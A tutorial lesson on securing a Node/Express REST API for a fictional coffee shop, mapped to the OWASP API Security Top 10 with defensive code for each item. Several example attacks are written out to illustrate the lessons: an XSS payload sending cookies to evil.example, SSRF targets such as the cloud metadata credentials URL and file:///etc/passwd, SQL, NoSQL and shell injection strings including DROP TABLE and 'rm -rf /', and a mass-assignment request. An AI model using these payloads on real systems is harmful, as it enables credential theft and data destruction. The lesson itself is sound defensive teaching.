The Aroma Store API already has JWT authentication, authorisation by role and by ownership, strict validation with Zod and prepared statements against the database. That does not make it secure: it makes it not obviously insecure, which is a starting point, not a goal. An attacker does not look for vulnerabilities in the abstract; they look for another customer's order, the field you did not validate, the test endpoint you left deployed and the key that slipped into the repository.

This lesson walks the threat landscape of a REST API with the project in front of us. We will use the OWASP API Security Top 10 as our map — it is the industry standard and the vocabulary used in any audit — but every point is illustrated with a concrete request against Aroma Store and closed with the exact defence, naming the file it lives in. We will add helmet to src/app.js at its precise position in the chain, see what to do with secrets, what obligations appear the moment you touch personal data, and how images are accepted without opening a hole. By the end you will have a lightweight threat model for the project.

Important warning. This lesson teaches you to recognise and mitigate known classes of vulnerability, and to build with a reasonable level of hygiene. It does not replace a professional security review. Before exposing to the internet an API that handles real money or real personal data, the design and the implementation must be reviewed by a specialist, and a penetration test is advisable. All the data in this course is fictional.

Contents

  1. How an attacker thinks about an API
  2. The OWASP API Security Top 10 over Aroma Store
  3. API1: BOLA, vulnerability number one
  4. API2 and API5: broken authentication and function-level authorisation
  5. API3: excessive data exposure and mass assignment
  6. API4: unrestricted resource consumption
  7. API7: SSRF
  8. API8: security misconfiguration
  9. API9: improper inventory management
  10. Transport: TLS, HSTS and why HTTP is never accepted
  11. Injections: SQL, NoSQL, commands and XSS through the API
  12. Security headers and helmet in src/app.js
  13. Secrets management
  14. Personal data and the GDPR
  15. Coffee image uploads
  16. Dependencies and the supply chain
  17. A lightweight threat model for Aroma Store

  1. How an attacker thinks about an API

Before the catalogue, it is worth understanding the change of perspective. When you secure a classic web application, the attacker interacts with the screens you show them. When you secure an API, the attacker interacts with every endpoint at once, in whatever order they like, with whatever parameters they like, without going anywhere near your SPA.

Three practical consequences that govern everything else:

  • Client-side validation does not exist. Any check the SPA performs is a usability improvement, never a defence. curl does not run your JavaScript.
  • Every endpoint is an independent door. The fact that /v1/orders checks resource ownership says nothing about /v1/orders/{id}/invoice. The contract's 24 URIs are 24 surfaces.
  • The attacker already has an account. The most profitable scenario is not getting in without credentials: it is registering as an ordinary customer — something your API allows and must allow — and from there reaching other people's data. That is why most real vulnerabilities are authorisation failures, not authentication ones.
graph TD
  A[Attacker with a legitimate customer account] --> B[Enumerates endpoints: docs, SPA JavaScript, OpenAPI]
  B --> C[Tries other peoples ids: ord_5000, ord_5002]
  B --> D[Sends extra fields: role, active, balance]
  B --> E[Changes the method: GET to PUT or DELETE]
  B --> F[Hunts for unauthenticated endpoints: /v1-test, /debug]
  C --> G[BOLA: reads other peoples orders]
  D --> H[Mass assignment: becomes an administrator]
  E --> I[Broken function level authorization]
  F --> J[Uncontrolled inventory]

  1. The OWASP API Security Top 10 over Aroma Store

The OWASP API Security Top 10 is the list of the ten most frequent and most damaging classes of vulnerability in APIs, published by the Open Worldwide Application Security Project. The current version is the 2023 one.

No. Name In Aroma Store Status
API1 BOLA — Broken Object Level Authorization Reading ord_5001 as a different customer Mitigated in 03-06; reinforced here
API2 Broken authentication Brute force on POST /v1/sessions, badly validated JWT Partial; see 04-03 and 04-04
API3 Broken object property level authorization Returning password_hash; accepting "role" on registration Mitigated: mapper + .strict()
API4 Unrestricted resource consumption ?limit=100000, uncapped expand, large uploads Partial; closed in 04-04
API5 Broken Function Level Authorization A customer calling POST /v1/coffees Mitigated with requireRole
API6 Unrestricted access to sensitive business flows Buying the whole stock of a limited edition with a script Design + limits (04-04)
API7 SSRF The API downloads a coffee's image from a given URL Outstanding: section 7
API8 Security misconfiguration Missing headers, open CORS, stack traces in production Closed here and in 04-05
API9 Improper inventory management A forgotten /v1-beta, an exposed test environment Process: section 9
API10 Unsafe consumption of third-party APIs Trusting SwiftShip's response without validating it Section 7

Notice one revealing fact: five of the ten are authorisation or data-exposure problems, not cryptography or injection. An API's security is decided above all in "who can see and do what", which is exactly where automated tools help least, because only you know what is correct in your domain.

  1. API1: BOLA, vulnerability number one

BOLA (Broken Object Level Authorization), also called IDOR (Insecure Direct Object Reference), is the most frequent and most exploited API vulnerability. The mechanism is trivial:

# Marta (cus_842) authenticates legitimately.
curl -s -X POST https://api.aromastore.example/v1/sessions \
  -H 'Content-Type: application/json' \
  -d '{"email":"[email protected]","password":"AFictionalPassword123"}'
# → 200 { "accessToken": "eyJhbGciOi..." }

# Her own order: correct.
curl -s https://api.aromastore.example/v1/orders/ord_5001 \
  -H 'Authorization: Bearer eyJhbGciOi...'
# → 200

# And now she tries the one next door.
curl -s https://api.aromastore.example/v1/orders/ord_5002 \
  -H 'Authorization: Bearer eyJhbGciOi...'
# → 200? Then you have a BOLA.

The token is valid, the route exists, the resource exists. Authentication works perfectly and the API is compromised, because nobody has checked that the order belongs to whoever is asking for it. With a 10,000-iteration loop the attacker walks off with the entire order database, complete with names, addresses and amounts.

The defence, which we already implemented in 03-06, has to be stated as a rule with no exceptions:

Every operation that receives an identifier in the URI must check that the authenticated subject has a right over THAT specific object, on every request.

// src/services/orders.js — the ownership check, revisited
export async function getOrder(id, requester) {
  const order = await orderRepository.findById(id);

  // 1. It does not exist: 404.
  if (!order) throw errors.notFound('order_not_found', `Order ${id} does not exist.`);

  // 2. It exists but it is not theirs and they have no elevated role.
  //    We answer 404, NOT 403: see below.
  const isOwner = order.customerId === requester.id;
  const isStaff = requester.role === 'employee' || requester.role === 'administrator';
  if (!isOwner && !isStaff) {
    throw errors.notFound('order_not_found', `Order ${id} does not exist.`);
  }

  return order;
}

Four details that separate a real check from a decorative one:

Answer 404 and not 403 when the resource belongs to somebody else. A 403 confirms that ord_5002 exists, and that is already information: it lets you enumerate how many orders there are and when they were created. A 404 does not distinguish "does not exist" from "is not yours", which is exactly what we want. The exception is when the resource is public and the only problem is write permission; there 403 insufficient_permissions is correct and more useful.

The check goes in the service, not in the controller. If it lives in the controller, the day another controller reuses the service the check disappears without anyone noticing.

The subject comes from the token, never from the request. This is the classic mistake:

// ❌ CATASTROPHIC: the client decides who it is.
const orders = await orderRepository.findByCustomer(req.query.customerId);

// ✅ The identifier comes from the verified token.
const customerId = req.user.role === 'customer' ? req.user.id : req.query.customerId;

Opaque identifiers are not a defence, but they help. ord_5001 is sequential and guessable; a UUID such as ord_9f3a... is not. That does not fix BOLA — an attacker who obtains an identifier by another route still gets in — but it turns a mass sweep into a targeted attack. It is defence in depth, not a substitute.

And it has to be tested. The only way a BOLA does not come back is an integration test that fails if somebody removes the check; in 03-08 we wrote exactly that test, and you need one per owned resource.

  1. API2 and API5: broken authentication and function-level authorisation

Broken authentication (API2)

The usual failures and their status in the project:

Failure Risk Defence Where
Passwords in the clear or with MD5/SHA1 A database dump = every account bcrypt with cost ≥ 12 03-06
Brute force against /v1/sessions Compromised accounts A strict limit per IP and per email address 04-04
User enumeration A list of valid email addresses The same message and timing for a wrong email or a wrong password 03-06
A token with no expiry Permanent theft A short exp (15 min) + refresh 03-06
Accepting alg: none or confusing HS/RS Total token forgery Pin the expected algorithm when verifying Below
A weak signing secret A forgeable signature ≥ 32 random bytes, in the secrets manager Section 13
A token in the URL It ends up in logs, history and Referer Only in Authorization: Bearer Contract

The alg: none one deserves code, because it is a one-line failure with total consequences:

// ❌ VULNERABLE: accepts whatever algorithm the token itself claims.
jwt.verify(token, environment.jwtSecret);

// ✅ The expected algorithm is pinned; a token with alg:none or alg:RS256 is rejected.
jwt.verify(token, environment.jwtSecret, {
  algorithms: ['HS256'],           // a closed allowlist
  issuer: 'api.aromastore.example',
  audience: 'aromastore-spa',
  clockTolerance: 5,               // seconds of slack for clock drift
});

Without algorithms, an attacker can present a token with the header {"alg":"none"} and no signature at all, or sign with HMAC using the RSA public key as the key when the server expects RS256. Both attacks are historical, are automated in every tool out there, and are closed off by that allowlist.

Function-level authorisation (API5)

If BOLA is "I can see somebody else's object", API5 is "I can execute a function that is not mine to execute":

# Marta has the 'customer' role. She tries to create a coffee.
curl -s -X POST https://api.aromastore.example/v1/coffees \
  -H 'Authorization: Bearer <customer token>' \
  -H 'Content-Type: application/json' \
  -d '{"name":"Pirate Coffee","origin":"None","roast":"light","priceEuros":0.01,"stock":9999}'
# Must answer 403 insufficient_permissions

The requireRole('employee','administrator') from 03-06 covers it, but the vulnerability always comes back the same way: the new endpoint that gets deployed without the middleware. Three process measures are worth more than any amount of code:

  • Deny by default: make the absence of a decision mean "forbidden", not "allowed".
  • A written permission matrix (the one from 03-06) reviewed in every pull request that adds a route.
  • One test per cell of the matrix: each role against each sensitive operation.

And one specific failure that slips through often: changing the method on the same path. If GET /v1/coffees/{id} is public and PUT /v1/coffees/{id} requires a role, check that the PUT really does require it and that a PATCH has not been left unprotected because it was added later. The router.all(...) with methodNotAllowed(...) that already closes off every route helps, because an undeclared method returns 405 instead of falling into an unexpected handler.

  1. API3: excessive data exposure and mass assignment

They are the two faces of the same mistake: letting the internal model talk directly to the world.

Excessive exposure (output)

// ❌ What goes out if you do res.json(databaseRow)
{
  "id": "cus_842",
  "email": "[email protected]",
  "password_hash": "$2b$12$K7x...",
  "phone": "+34 600 000 000",
  "address": "1 Fictional Street, Valencia",
  "active": 1,
  "role": "customer",
  "failed_attempts": 2,
  "recovery_token": "rec_9f3a2b...",
  "internal_notes": "Customer complained twice"
}

Every extra field is a separate vulnerability: the hash enables an offline dictionary attack, recovery_token allows an account takeover, internal_notes is a GDPR and reputation problem, and failed_attempts helps time an attack.

The defence is the mapper from 03-03 and it consists of an allowlist, never a blocklist:

// src/services/mappers.js
export function customerToPublicRepresentation(row) {
  return {                       // ALLOWLIST: only this goes out
    id: row.id,
    name: row.name,
    email: row.email,
  };
}

The difference between an allowlist and a blocklist is not stylistic: with a blocklist (delete row.password_hash), the column you add six months from now publishes itself. With an allowlist, the worst case is that a new field does not appear until you add it, which is a harmless bug.

And there is a second level that gets forgotten: which fields each role sees. A customer's email address may be visible to them and to an employee, and not to another customer reading one of their reviews. That means the mapper sometimes needs to know who is asking:

export function customerToRepresentationForRole(row, requester) {
  const base = { id: row.id, name: row.name };
  const isSelf = requester?.id === row.id;
  const isStaff = requester?.role === 'employee' || requester?.role === 'administrator';
  if (isSelf || isStaff) {
    return { ...base, email: row.email, phone: row.phone };
  }
  return base;                   // a third party sees only id and name
}

Mass assignment (input)

The classic attack, in two lines:

curl -s -X POST https://api.aromastore.example/v1/customers \
  -H 'Content-Type: application/json' \
  -d '{"name":"Attacker","email":"[email protected]","password":"Fictional123","role":"administrator"}'

If the controller does repository.create(req.body), you have just given the shop away. Same story with "active": true to skip email verification, "balance": 1000 in a wallet or "version": 99 to bypass optimistic concurrency.

In Aroma Store this was already blocked back in 03-04, and it is worth seeing exactly why:

// src/schemas/customers.js
export const registrationSchema = z
  .object({
    name: z.string().min(2).max(80),
    email: z.string().email(),
    password: z.string().min(10).max(128),
  })
  .strict();          // ← THIS line is the defence

.strict() makes Zod reject any key that is not declared, returning 400 invalid_data. Without .strict(), Zod uses its default mode: it silently strips unknown keys from the resulting object. That would also protect you if and only if the controller uses the validated result and not the original req.body — which is the trap a lot of people fall into:

// ❌ Validates and then ignores the validation: the role gets back in.
validate(registrationSchema, 'body');
const customer = await service.register(req.body);            // ← the original, dirty
// ✅ The validated object is ALWAYS the one used.
const customer = await service.register(req.validatedData);   // ← clean and typed

That is why the validate middleware from 03-04 leaves its result in req.validatedData and the controllers only read from there. It is a convention with security value, not stylistic value.

Approach New column in the database Unknown field in the request Verdict
repository.create(req.body) Written on its own Written Vulnerable
Zod without .strict() + req.body Written on its own Written Vulnerable
Zod without .strict() + validated Not written Silently discarded Acceptable
Zod with .strict() + validated Not written An explicit 400 Correct

The last row is better than the third for a reason that goes beyond security: the 400 warns the honest consumer that their field has a typo, instead of letting them believe they have saved something.

  1. API4: unrestricted resource consumption

An attacker does not always want your data; sometimes it is enough for your API to stop working, or for your infrastructure bill to explode. The vectors in Aroma Store:

Vector Request Defence Where
Mass requests 10,000 GET /v1/coffees per second Rate limiting 04-04
A giant page ?limit=1000000 Maximum 100, validated 03-03
Deep offset ?offset=50000000 Maximum 10,000 03-03
Nested expansion expand=items.coffee.reviews.author Depth 2 + allowlist 04-01
A huge body A 500 MB POST express.json({limit:'100kb'}) 03-02
An expensive search ?q= with wildcards over 4M rows An index, a minimum length, its own limit 03-05 / 04-04
Image uploads 200 files of 50 MB Size, count and type Section 15
Emails and SMS Repeated registration to burn your quota A limit per IP and per recipient 04-04

Three were already in place, three are closed in the next lesson and one in this one. What matters now is recognising the common pattern: any parameter the consumer controls and that multiplies your work is an availability vector. When you design a new parameter, the compulsory question is "what is the most expensive value anyone can send me?".

  1. API7: SSRF

SSRF (Server-Side Request Forgery) happens when your server makes a network request to a URL the user chooses. It appears naturally in Aroma Store the moment an image is accepted by URL:

POST /v1/coffees/cof_001/image HTTP/1.1
Content-Type: application/json

{ "url": "https://cdn.example.com/ethiopia.jpg" }

Your server downloads that URL. Now the attacker sends:

{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }

That address is the metadata service of most clouds: from inside the machine it returns temporary credentials for the account. Other variants: http://localhost:6379 to talk to your Redis, http://10.0.3.14:5432 to scan the internal network, or file:///etc/passwd.

The defence is an allowlist of destinations, not a blocklist of addresses:

// src/services/downloads.js
import dns from 'node:dns/promises';
import net from 'node:net';

const ALLOWED_DOMAINS = new Set(['cdn.example.com', 'images.aromastore.example']);

function isPrivate(ip) {
  if (net.isIPv4(ip)) {
    const [a, b] = ip.split('.').map(Number);
    return a === 10 || a === 127 || (a === 172 && b >= 16 && b <= 31) ||
           (a === 192 && b === 168) || (a === 169 && b === 254) || a === 0;
  }
  return ip === '::1' || ip.startsWith('fc') || ip.startsWith('fd') || ip.startsWith('fe80');
}

export async function downloadImageSafely(urlText) {
  const url = new URL(urlText);

  // 1. HTTPS only: no file://, gopher://, ftp://.
  if (url.protocol !== 'https:') throw errors.invalidData('The scheme must be https.');

  // 2. An allowlist of domains.
  if (!ALLOWED_DOMAINS.has(url.hostname)) {
    throw errors.invalidData('Image domain not allowed.');
  }

  // 3. Resolve the name and check that it does NOT point to an internal IP.
  const { address } = await dns.lookup(url.hostname);
  if (isPrivate(address)) throw errors.invalidData('Destination not allowed.');

  // 4. Do not follow redirects: a 302 can lead to 169.254.169.254.
  const response = await fetch(url, { redirect: 'error', signal: AbortSignal.timeout(5000) });
  return response;
}

Steps 3 and 4 are the ones people forget. Step 3 stops an allowed domain deliberately pointing at an internal IP; step 4 stops a redirect doing it after the check. Even so a known race remains (DNS rebinding: the name resolves to a different IP between the check and the connection), which is why the robust solution in production is to make these downloads from an isolated network or through an egress proxy with an allowlist, not with code alone.

And the flip side (API10): when you consume a third-party API such as SwiftShip's, its response is untrusted input. It is validated against a schema just like a client's, it gets a timeout, and it is not forwarded verbatim to your consumers.

  1. API8: security misconfiguration

It is the most boring category and the one that causes the most incidents, because exploiting it requires no skill whatsoever. The checklist for Aroma Store:

Point Desired state How it is verified
x-powered-by Disabled Already in src/app.js
Stack traces in production Never NODE_ENV, validated at start-up (03-01)
Security headers helmet Section 12
CORS An allowlist, not * with credentials 04-05
HTTP methods Only the declared ones; 405 for the rest methodNotAllowed
TLS Mandatory, version ≥ 1.2 Section 10
Administrative ports Not exposed (SQLite, Redis, metrics) Network and firewall
Repository files .env, .git, backups off the server Deployment
Error messages No versions and no paths 03-07
Default registration No elevated role, no automatic active:true Schemas
Debugging --inspect never in production Start-up

One concrete and very real case deserves attention: the .git directory being served. If the deployment copies the entire repository to the web root, anyone can download your complete history, including the secrets you deleted in a later commit. And the .env: if one day somebody adds an express.static('.') to serve a single file, it also serves the .env with the signing key in it.

  1. API9: improper inventory management

You cannot protect what you do not know exists. The typical cases, all seen in real production:

  • The previous version is still up. You retire /v1 when /v2 ships, but the old process keeps listening, without the new patches.
  • The test environment is public. api-test.aromastore.example with real data copied from production, no rate limiting and test users whose password is test1234.
  • Forgotten debug endpoints. /debug/status, /v1/_admin/reset, /health/detailed returning the complete configuration.
  • Exposed interactive documentation. A public Swagger UI listing every internal endpoint, including the ones you did not want to announce.
  • A subdomain pointing at a service you no longer control, letting a third party serve content under your domain.

The measures are about process, not code:

  1. A written inventory of environments and deployed versions, with an owner and a retirement date.
  2. openapi.yaml as the single source of truth: if an endpoint is not in the contract, it should not be deployed. A smoke test can compare the routes registered in Express against those in the YAML and fail if there are any extras.
  3. Synthetic test data: never a copy of production in a test environment; it is also a GDPR breach.
  4. Retirement with a date: the Deprecation/Sunset process from 02-07 ends by switching the service off, not merely by documenting it.

  1. Transport: TLS, HSTS and why HTTP is never accepted

Without TLS, everything else is decorative: the Bearer token travels in the clear and anyone on the same network reads it and reuses it.

Non-negotiable rules:

  • HTTPS across the whole API domain, with no exceptions, not even on /health.
  • TLS 1.2 as a minimum, preferably 1.3. SSLv3, TLS 1.0 and 1.1 are retired.
  • HTTP only to redirect. Port 80 answers 301 towards https:// and nothing else.
  • HSTS, so the browser does not try HTTP again.
HTTP/1.1 301 Moved Permanently
Location: https://api.aromastore.example/v1/coffees
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

max-age=31536000 is 365 days: during that time the browser converts any http:// for that host into https:// before sending anything, which closes the first-hop window where the token gets stolen. includeSubDomains extends the policy to every subdomain — careful if one of them has no certificate, it will stop working — and preload lets you register the domain in the list browsers ship with, so the protection exists even on the very first visit. preload is hard to reverse: do not add it until you are sure.

An important warning about scope: only browsers understand HSTS. The Aroma Mobile app and SwiftShip's server do not apply it, so for them the defence is not accepting HTTP at all and, in the mobile app's case, pinning the certificate (certificate pinning) if the risk justifies it.

In practice, Aroma Store's TLS is not terminated by Express: it is terminated by the load balancer or the CDN sitting in front. That means Express receives HTTP internally and needs to know that the original request was secure, something configured with app.set('trust proxy', 1) and with direct consequences for rate limiting by IP (04-04) and for Secure cookies.

  1. Injections: SQL, NoSQL, commands and XSS through the API

SQL

It is already mitigated, but it is worth seeing exactly why. In 03-05 every query uses better-sqlite3 prepared statements:

// ✅ A prepared statement: the value is NEVER interpreted as SQL.
const query = db.prepare('SELECT * FROM coffees WHERE origin = ? AND price_cents <= ?');
const rows = query.all(origin, maxPriceCents);

// ❌ Concatenation: `origin = 'x' OR '1'='1'` empties the table; `; DROP TABLE coffees;--` deletes it.
const rows = db.prepare(`SELECT * FROM coffees WHERE origin = '${origin}'`).all();

The technical difference is that a prepared statement sends the query's structure and the data down separate paths: the engine has already decided what counts as syntax before it ever sees your value.

There is one point that prepared statements do not cover: identifiers (column names and sort direction) cannot be parameterised. And that is where ?sort= comes in:

// ❌ Injection through the column name.
db.prepare(`SELECT * FROM coffees ORDER BY ${req.query.sort}`).all();

// ✅ Allowlist: the user's text only SELECTS from a fixed map.
const COLUMNS = { name: 'name', priceEuros: 'price_cents', stock: 'stock', id: 'id' };
const field = COLUMNS[requestedField];
if (!field) throw errors.invalidData(`The field '${requestedField}' is not sortable.`);
const direction = descending ? 'DESC' : 'ASC';   // fixed values, not the user's
db.prepare(`SELECT * FROM coffees ORDER BY ${field} ${direction}, id ASC`).all();

The general principle: if something cannot be parameterised, it is selected from an allowlist; user text is never concatenated.

NoSQL

Aroma Store uses SQLite, but the pattern is worth recognising because it is very common. In MongoDB, if you pass a JSON object straight through as a filter:

{ "email": "[email protected]", "password": { "$gt": "" } }

{"$gt": ""} is an operator meaning "any value greater than the empty string", that is, any password at all. The defence is not escaping: it is validating the types with Zod before touching the database, so that password must be a string and an object is rejected with a 400. Once again, the strict validation from 03-04 is a security defence, not merely a data-quality one.

Commands

If one day you generate a thumbnail by calling a binary:

import { execFile } from 'node:child_process';

// ❌ exec goes through the shell: `; rm -rf /` gets executed.
exec(`convert ${fileName} -resize 200x200 output.jpg`);

// ✅ execFile does not use a shell and the arguments are passed separately.
execFile('convert', [validatedPath, '-resize', '200x200', outputPath]);

And with the path validated separately, to prevent path traversal (../../etc/passwd): a file path is never built by concatenating user text; a name of your own is generated instead.

Reflected XSS through an API

An API that returns JSON does not execute HTML, so it looks immune. It is not entirely, for two reasons:

Storage and reflection. If a review's comment contains <script>fetch('https://evil.example?c='+document.cookie)</script>, your API stores it verbatim and returns it verbatim. The problem detonates in the SPA if it inserts it with innerHTML. The primary responsibility for escaping belongs to the client — because only the client knows the context it is painting into — but the API can and should help: reject or sanitise HTML in fields that do not need it, and cap lengths.

A response interpreted as HTML. If your API returns an error with the user's text reflected in it and a wrong or absent Content-Type, a browser may try to guess it (MIME sniffing) and execute it. The two defences are the X-Content-Type-Options: nosniff header and always returning an explicit Content-Type: application/json. Which is exactly what comes next.

  1. Security headers and helmet in src/app.js

helmet is a middleware that sets a group of security headers with sensible defaults. It was designed for applications that serve HTML, so in a JSON API some headers are irrelevant and others are important; you need to know which is which.

npm install helmet
// src/middleware/security.js  (NEW file)
import helmet from 'helmet';

/**
 * Security headers for an API that only returns JSON.
 * The policies designed for HTML are explicitly disabled,
 * and the ones that genuinely protect an API consumer are kept.
 */
export const securityHeaders = helmet({
  // 1. A restrictive CSP: the API serves no HTML and loads no resources.
  //    If a browser ever ended up interpreting a response, it could execute nothing.
  contentSecurityPolicy: {
    useDefaults: false,
    directives: {
      "default-src": ["'none'"],
      "frame-ancestors": ["'none'"],
      "base-uri": ["'none'"],
      "form-action": ["'none'"],
    },
  },

  // 2. HSTS: one year, subdomains included. No 'preload' until we are sure.
  hsts: { maxAge: 31536000, includeSubDomains: true, preload: false },

  // 3. nosniff: forbids guessing the content type.
  noSniff: true,

  // 4. No Referer towards other origins: the URIs carry resource ids.
  referrerPolicy: { policy: 'no-referrer' },

  // 5. Not embeddable in an iframe.
  frameguard: { action: 'deny' },

  // 6. Hides the technology (redundant with app.disable, kept just in case).
  hidePoweredBy: true,

  // --- Disabled: they only apply to HTML documents ---
  crossOriginEmbedderPolicy: false,   // would break legitimate consumers and contribute nothing
  crossOriginOpenerPolicy: false,     // only makes sense for browser windows
  originAgentCluster: false,
});

What each header does and how much it matters in an API:

Header Value What it does Importance in a JSON API
Strict-Transport-Security max-age=31536000; includeSubDomains Forces HTTPS in the browser High
X-Content-Type-Options nosniff Prevents type guessing High
Content-Security-Policy default-src 'none' Nothing can be loaded or executed Medium (defence in depth)
Referrer-Policy no-referrer Does not leak the URI to third parties Medium
X-Frame-Options DENY Not embeddable Low (there is no UI)
Cross-Origin-Resource-Policy same-origin Limits who can embed the response Low; careful: it can get in CORS's way
X-XSS-Protection 0 Disables an obsolete and dangerous filter Low
X-DNS-Prefetch-Control off DNS prefetching None

A practical warning: crossOriginResourcePolicy set to same-origin can block the SPA in some browser scenarios. If your API has consumers on other origins — and Aroma Store does — set it to cross-origin or disable it, and rely on CORS for access control. That adjustment is decided in 04-05 along with the rest of the policy.

The exact position in the chain

// src/app.js  (extract after 04-02)
import express from 'express';
import { v1Routes } from './routes/index.js';
import { assignTraceId } from './middleware/trace.js';
import { securityHeaders } from './middleware/security.js';        // ← NEW
import { notFoundHandler } from './middleware/not-found.js';
import { errorHandler } from './middleware/errors.js';

export const app = express();

app.disable('x-powered-by');                 // 1
app.use(assignTraceId);                      // 2
app.use(securityHeaders);                    // 3 ← NEW: before anything that can respond
// (4) cors           → 04-05
// (5) logRequests    → 04-07 replaces the current console.log
// (6) rateLimiter    → 04-04
app.use(express.json({ limit: '100kb', type: ['application/json', 'application/merge-patch+json'] }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
app.get('/health', (req, res) => res.json({ status: 'ok' }));
app.use('/v1', v1Routes);
app.use(notFoundHandler);
app.use(errorHandler);

Why position 3, after the trace and before everything else. helmet sets headers on the response; for those headers to be present on every response — including the rate limiter's 429s, the JSON parser's 400s, the unknown-route 404s and the error handler's 500s — it has to run before any middleware capable of responding. It goes after assignTraceId purely because the trace must exist from the very first instant so that anything happening afterwards can be correlated, including a failure inside helmet itself.

A quick check:

curl -sI https://api.aromastore.example/v1/coffees | grep -Ei 'strict-transport|content-type-options|content-security|referrer'

  1. Secrets management

A secret is any value whose disclosure compromises the system: the JWT signing key, the database password, the HMAC key for the webhooks to SwiftShip, the payment provider's credentials.

The minimum rules:

Rule Reason
Never in the source code The repository gets cloned, gets shared and keeps its history for ever
Never in the repository, not even in .env .env goes in .gitignore; only .env.example with fake values is versioned
Injected as environment variables It is the standard contract of every modern deployment
Different per environment A test secret never opens production
Long and random 32 bytes from crypto.randomBytes, not secret123
Rotatable without stopping the service See below
Never in the logs or in URLs See 04-07

In 03-01 we already validated the configuration at start-up; it is worth adding a strength check, because a weak secret in production is as serious as none at all:

// src/config/environment.js  (fragment)
const environmentSchema = z.object({
  NODE_ENV: z.enum(['development', 'test', 'production']),
  JWT_SECRET: z.string().min(32, 'JWT_SECRET must be at least 32 characters long'),
  WEBHOOK_HMAC_SECRET: z.string().min(32),
  // ...
}).superRefine((values, ctx) => {
  const weak = ['secret', 'changeme', 'test', 'dev'];
  if (values.NODE_ENV === 'production' && weak.some((w) => values.JWT_SECRET.includes(w))) {
    ctx.addIssue({ code: 'custom', message: 'JWT_SECRET looks like an example value.' });
  }
});

Having the process fail to start is the right outcome: a loud failure at deployment time is infinitely better than a system running with an example secret.

Secrets managers. In production, the environment variables are populated from a manager — HashiCorp Vault, AWS Secrets Manager, Google Secret Manager, Azure Key Vault — which provides what a file cannot: access control by identity, an audit trail of who read what and when, versioning and rotation.

Rotation. A secret must be changeable without cutting off the service, and that forces you to accept two at once during the transition. For JWT signing: you sign with the new key and accept verification with the new one and the previous one until every issued token has expired (15 minutes with our configuration). Designing the code to accept a list of verification keys, rather than a single one, is what makes rotation possible; in 04-03 you will see that OAuth solves this natively with kid and JWKS.

If a secret leaks, the order matters and it has to be written down before you need it:

  1. Rotate first, investigate afterwards. The leaked secret is revoked immediately.
  2. Invalidate everything derived from it: every token signed with that key, every session.
  3. Review the access logs from the probable date of the leak onwards.
  4. Delete it from the Git history (git filter-repo) and force the rewrite — but assuming the secret is already public: if it was ever in a repository, it is considered compromised for ever.
  5. Notify as appropriate; if personal data is involved, there are legal deadlines (section 14).
  6. Add detection: a secret scanner in continuous integration (gitleaks, trufflehog) so it does not happen again.

  1. Personal data and the GDPR

Aroma Store stores names, email addresses, delivery addresses and purchase history. All of that is personal data and its processing is regulated in the EU by the GDPR. Exhausting the regulation is not the subject of this lesson, but knowing the direct technical consequences is, because they affect the design of the API.

Warning. What follows are common technical implications, not legal advice. Any system processing real personal data needs a compliance review by whoever is responsible for it in your organisation.

Principle Technical implication in Aroma Store
Minimisation Do not ask for a date of birth if you do not use it. Every field you do not collect is a field you cannot leak
Purpose limitation Order data is not used for anything else without a legal basis
Storage limitation Orders and addresses have a retention date; a process exists that deletes them
Integrity and confidentiality TLS in transit, encryption at rest, access by role
Accountability A log of access to personal data, auditable
Right of access and portability A process capable of exporting everything belonging to a customer
Right to erasure See below: it clashes with soft deletion
Breach notification A procedure and deadlines defined before the incident

Do not record sensitive data in the logs. This is where things go wrong most often, because logs get copied, get sent to external services and are kept for a long time. Passwords, tokens, the Authorization header, card numbers, complete postal addresses and email addresses in the clear must never appear. We will implement automatic redaction and the detail of what gets logged in 04-07; it is worth knowing already that this is a legal requirement and not just good practice.

Encryption at rest. The SQLite file, the backups and the dumps must be encrypted at disk or file level. An unencrypted backup in a badly configured bucket is one of the most frequent causes of a breach.

The right to erasure versus soft deletion. There is a real clash here that has to be resolved consciously. In 03-05 we used active = 0 for soft deletion, because it lets us preserve referential integrity: an order points at a customer and cannot be left orphaned. But "marking as inactive" is not deletion as far as the GDPR is concerned.

The usual solution is selective anonymisation or pseudonymisation: the record survives as an accounting entity, but stops identifying anybody.

// src/services/customers.js
export async function exerciseRightToErasure(customerId) {
  return db.transaction(() => {
    // 1. The direct identifiers are anonymised.
    customerRepository.anonymise(customerId, {
      name: 'Deleted customer',
      email: `deleted+${customerId}@invalid.example`,   // .invalid never resolves
      phone: null,
      password_hash: null,
      anonymised_at: new Date().toISOString(),
    });

    // 2. The personal data embedded in the orders is cleaned out,
    //    keeping the amounts: there is a tax obligation to retain them.
    orderRepository.anonymiseAddressesOf(customerId);

    // 3. Reviews: the text is kept, the author is detached.
    reviewRepository.detachAuthor(customerId);

    // 4. Every session and refresh token is revoked.
    sessionRepository.revokeAllFor(customerId);
  })();
}

The comments point at the underlying tension: the tax obligation to keep invoices for years coexists with the right to erasure, and it is resolved by keeping the economic data and removing the identifying data. The specific decision about what is kept and for how long is not a technical one: it requires a compliance review. What is a technical responsibility is that the system can do it: if the design does not contemplate anonymisation from the start, complying later is extremely expensive. And do not forget the backups and the logs: if you keep backups for a year, the data is still there; the retention policy has to be documented.

  1. Coffee image uploads

POST /v1/coffees/{id}/image accepts a file. Every upload is untrusted input and, on top of that, input that will later be served to other users.

Control Rule in Aroma Store Why
Maximum size 2 MB Availability and cost
Number per request 1 Prevents amplification
Allowed types image/jpeg, image/png, image/webp A closed allowlist
Real verification Read the magic bytes, do not trust the Content-Type The client lies
File name Generated by the server (cof_001-a3f9.webp) Prevents traversal and collisions
Location Outside the server root, in object storage An uploaded .php or .js does not execute
Served from A different domain (images.aromastore.example) Isolates it from the API's domain
Reprocessing Re-encode the image before storing it Strips metadata and payloads
EXIF metadata Removed It can contain GPS coordinates

Verification by content, which is the one almost nobody does:

// src/services/images.js
const SIGNATURES = [
  { type: 'image/jpeg', bytes: [0xff, 0xd8, 0xff] },
  { type: 'image/png',  bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
  { type: 'image/webp', bytes: [0x52, 0x49, 0x46, 0x46] },   // 'RIFF' (+ 'WEBP' at byte 8)
];

export function detectRealType(buffer) {
  for (const signature of SIGNATURES) {
    const matches = signature.bytes.every((b, i) => buffer[i] === b);
    if (matches) return signature.type;
  }
  return null;
}

export function validateImage(buffer, declaredType) {
  const realType = detectRealType(buffer);
  if (!realType) throw errors.invalidData('The file is not a valid image.');
  if (realType !== declaredType) {
